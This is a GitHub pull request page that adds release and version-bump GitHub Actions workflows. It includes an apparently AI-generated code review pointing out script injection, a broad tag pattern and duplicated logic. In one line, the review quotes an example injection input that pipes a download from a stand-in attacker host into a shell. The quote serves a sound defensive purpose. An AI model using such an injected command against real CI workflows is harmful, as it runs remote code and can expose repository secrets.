Skip to content

ci: GitHub Actions 릴리즈 및 버전 bump 워크플로우 추가#2

Merged
kargnas merged 4 commits intomasterfrom
ci/add-release-workflows
Mar 27, 2026
Merged

ci: GitHub Actions 릴리즈 및 버전 bump 워크플로우 추가#2
kargnas merged 4 commits intomasterfrom
ci/add-release-workflows

Conversation

@op-gg-ai-devops
Copy link
Copy Markdown

개요

이 PR은 자동 릴리즈 관리를 위한 GitHub Actions 워크플로우 2개를 추가합니다.

추가된 워크플로우

1. release.yml — 자동 릴리즈 생성

  • 트리거: 태그(*.*.* 패턴) push 시 자동 실행
  • 동작: 직전 태그 이후의 커밋 메시지를 수집하여 GitHub Release 생성
  • 사용법: git tag 2.0.3 && git push origin 2.0.3 → 자동으로 릴리즈 생성

2. version-bump.yml — 수동 버전 bump + 릴리즈

  • 트리거: GitHub Actions 탭에서 수동 실행 (workflow_dispatch)
  • 입력: bump 타입 (patch/minor/major) 또는 직접 버전 입력 (e.g. 3.0.0)
  • 동작: 최신 태그 기반 semver bump → 새 태그 생성 + push → GitHub Release 생성
  • 사용법: Actions 탭 → "Version Bump & Release" → Run workflow → bump 타입 선택

왜 이 방식인가

  1. 태그 기반 버전 관리: composer.json에 version 필드가 없으므로, git 태그를 단일 진실 공급원(SSOT)으로 사용합니다.
  2. release.yml과 version-bump.yml 분리:
    • release.yml은 어떤 방식으로든 태그가 push되면 릴리즈를 생성하는 범용 워크플로우
    • version-bump.yml은 개발자가 직접 버전을 결정하고 bump할 때 사용하는 편의 워크플로우
    • 이렇게 분리하면 수동 git tag + push로도, workflow_dispatch로도 릴리즈가 생성됩니다.
  3. softprops/action-gh-release@v2: GitHub Release 생성에 가장 널리 사용되는 액션으로, 안정성이 검증되어 있습니다.

기존 워크플로우와의 관계

  • run-tests.yml: 변경 없음. 테스트 워크플로우는 독립적으로 동작합니다.

현재 최신 태그: 2.0.2

- release.yml: 태그 push 시 자동으로 GitHub Release 생성
  - 직전 릴리즈 이후 커밋 메시지 기반 release notes 자동 생성
- version-bump.yml: workflow_dispatch로 수동 버전 bump
  - patch/minor/major 또는 직접 버전 명시 가능
  - 최신 태그 기반 semver bump 후 태그 생성 + push + GitHub Release

Co-authored-by: opencode <no-reply@opencode.ai>
@op-gg-ai-devops
Copy link
Copy Markdown

This PR introduces two new GitHub Actions workflows to automate semantic version bumping and GitHub Release generation.

tbh, this is a solid start for automating releases, but there's a sneaky architectural overlap here. Because version-bump.yml pushes a new tag and also creates a release, it duplicates the exact same release logic found in release.yml. Also, that bash semver parsing (IFS='.' read...) will definitely throw a fit if your latest tag isn't strictly three digits. ngl, consolidating the release creation step into a single reusable workflow will save you from maintaining the same bash scripts twice.


This is just a short preview. For a detailed, line-by-line code review (including bug detection and security checks), please write a comment like @op-gg-ai-devops review this / @op-gg-ai-devops 리뷰해줘, or add @op-gg-ai-devops as a Reviewer (automatically review when a commit is pushed to this PR).

(Note: To set a default review language for this repository, please add a line like Default review language: English to your AGENTS.md file.)

@kargnas
Copy link
Copy Markdown
Member

kargnas commented Mar 27, 2026

@op-gg-ai-devops

@op-gg-ai-devops
Copy link
Copy Markdown

op-gg-ai-devops bot commented Mar 27, 2026

✅ AI Code Review Completed

Analysis of 2 workflow files (153 lines) is done. Found 1 critical security issue (script injection), 1 major bug (overly broad tag pattern), and 2 minor improvements. Review has been posted with 4 inline comments.

Reviewed with anthropic/claude-opus-4-6


📋 View Full Logs

Copy link
Copy Markdown

@op-gg-ai-devops op-gg-ai-devops bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

CI Workflow Review — release.yml & version-bump.yml

Solid foundation for automating releases on this repo. The tag-based SSOT approach makes sense given there's no version field in composer.json, and softprops/action-gh-release@v2 is the right choice (latest stable is v2.6.1, no security issues). The separation between "tag-triggered release" and "manual version bump" workflows is clean and well-thought-out.

That said, there are a few things that need attention before this ships:

Issues Found

  1. Script injection in version-bump.yml — The github.event.inputs.bump_type value is interpolated directly into a bash run: block. Yes, workflow_dispatch is limited to repo collaborators, but this is still a script injection vector. A malicious or mistyped input like '; curl evil.com | sh # would execute arbitrary commands. Use an environment variable instead.

  2. Tag pattern *.*.* is too broad — This matches literally anything with two dots: foo.bar.baz, v1.2.3, test.0.1. Should be tightened to something like '[0-9]*.[0-9]*.[0-9]*' at minimum, or add a semver validation step.

  3. Duplicated release logic — Both workflows have nearly identical release note generation + softprops/action-gh-release steps. If you ever change the release format, you'd have to update both. Consider extracting to a reusable workflow that version-bump.yml calls after pushing the tag.

CI Status Note

The Tests workflow is failing on this PR, but it's a pre-existing issuerun-tests.yml still uses actions/cache@v2 which GitHub deprecated and now actively blocks. That's not caused by this PR, but worth fixing separately (upgrade to actions/cache@v4).

Verdict

The script injection issue is the main blocker — it's a security best practice that's easy to fix. The tag pattern and code duplication are important improvements too. Requesting changes for the security fix; the rest are strong recommendations.


💡 Tip: To set a default review language for this repository, add a line like Default review language: English to your AGENTS.md file.


🔄 This bot will automatically re-review when new commits are pushed to this branch. You can also trigger a review by mentioning @op-gg-ai-devops in a PR comment. Examples:

  • @op-gg-ai-devops review this
  • @op-gg-ai-devops review security concerns
  • @op-gg-ai-devops focus on the shell scripts

Comment on lines +77 to +94
- name: Generate release notes
id: notes
run: |
NEW_TAG="${{ steps.version.outputs.version }}"
PREVIOUS_TAG=$(git tag --sort=-v:refname | grep -v "^${NEW_TAG}$" | head -1)

if [ -z "$PREVIOUS_TAG" ]; then
NOTES=$(git log --pretty=format:"- %s (%h)")
else
NOTES=$(git log --pretty=format:"- %s (%h)" "${PREVIOUS_TAG}..HEAD")
fi

echo "notes<<EOF" >> "$GITHUB_OUTPUT"
echo "$NOTES" >> "$GITHUB_OUTPUT"
echo "EOF" >> "$GITHUB_OUTPUT"

- name: Create GitHub Release
uses: softprops/action-gh-release@v2
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Minor: Style Duplicated release logic across two workflows: maintenance risk
This entire block (release note generation + softprops/action-gh-release) is nearly identical to release.yml lines 20-50. Right now you're maintaining the same bash logic in two places.

Two approaches to DRY this up:

  1. Remove the release creation from version-bump.yml entirely — just push the tag and let release.yml handle it. But wait, GITHUB_TOKEN-triggered tag pushes don't trigger other workflows. So you'd need a PAT or a workflow_call dispatch.

  2. Extract a reusable workflow (release-create.yml with on: workflow_call) and call it from both:

# In version-bump.yml, after tag push:
  call-release:
    needs: bump
    uses: ./.github/workflows/release.yml  # or a dedicated reusable one

Either way, having the same release logic in two files is a maintenance hazard — change one, forget the other, get inconsistent releases.

run: |
# 직전 태그를 찾아서 그 사이의 커밋 메시지로 릴리즈 노트 생성
CURRENT_TAG="${GITHUB_REF#refs/tags/}"
PREVIOUS_TAG=$(git tag --sort=-v:refname | grep -A1 "^${CURRENT_TAG}$" | tail -1)
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Minor: Edge Case Fragile previous-tag lookup: grep -A1 has edge cases
The grep -A1 "^${CURRENT_TAG}$" | tail -1 approach to find the previous tag is a bit fragile. If CURRENT_TAG contains regex-special characters (unlikely for semver but possible with the current broad tag pattern), grep could behave unexpectedly. Also if the current tag is the oldest tag, grep -A1 returns only one line, and tail -1 returns the current tag itself — you handle this on line 27, but the logic is more complex than needed.

Consider using git describe instead, which is built for exactly this:

PREVIOUS_TAG=$(git describe --tags --abbrev=0 "${CURRENT_TAG}^" 2>/dev/null || echo "")

This directly asks git "what's the most recent tag before this commit's parent?" — cleaner and more robust.

kargnas and others added 2 commits March 27, 2026 17:44
Co-authored-by: op-gg-ai-devops[bot] <255644809+op-gg-ai-devops[bot]@users.noreply.github.com>
Co-authored-by: op-gg-ai-devops[bot] <255644809+op-gg-ai-devops[bot]@users.noreply.github.com>
@kargnas kargnas merged commit 48d1a63 into master Mar 27, 2026
10 checks passed
@kargnas kargnas deleted the ci/add-release-workflows branch March 27, 2026 08:44
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants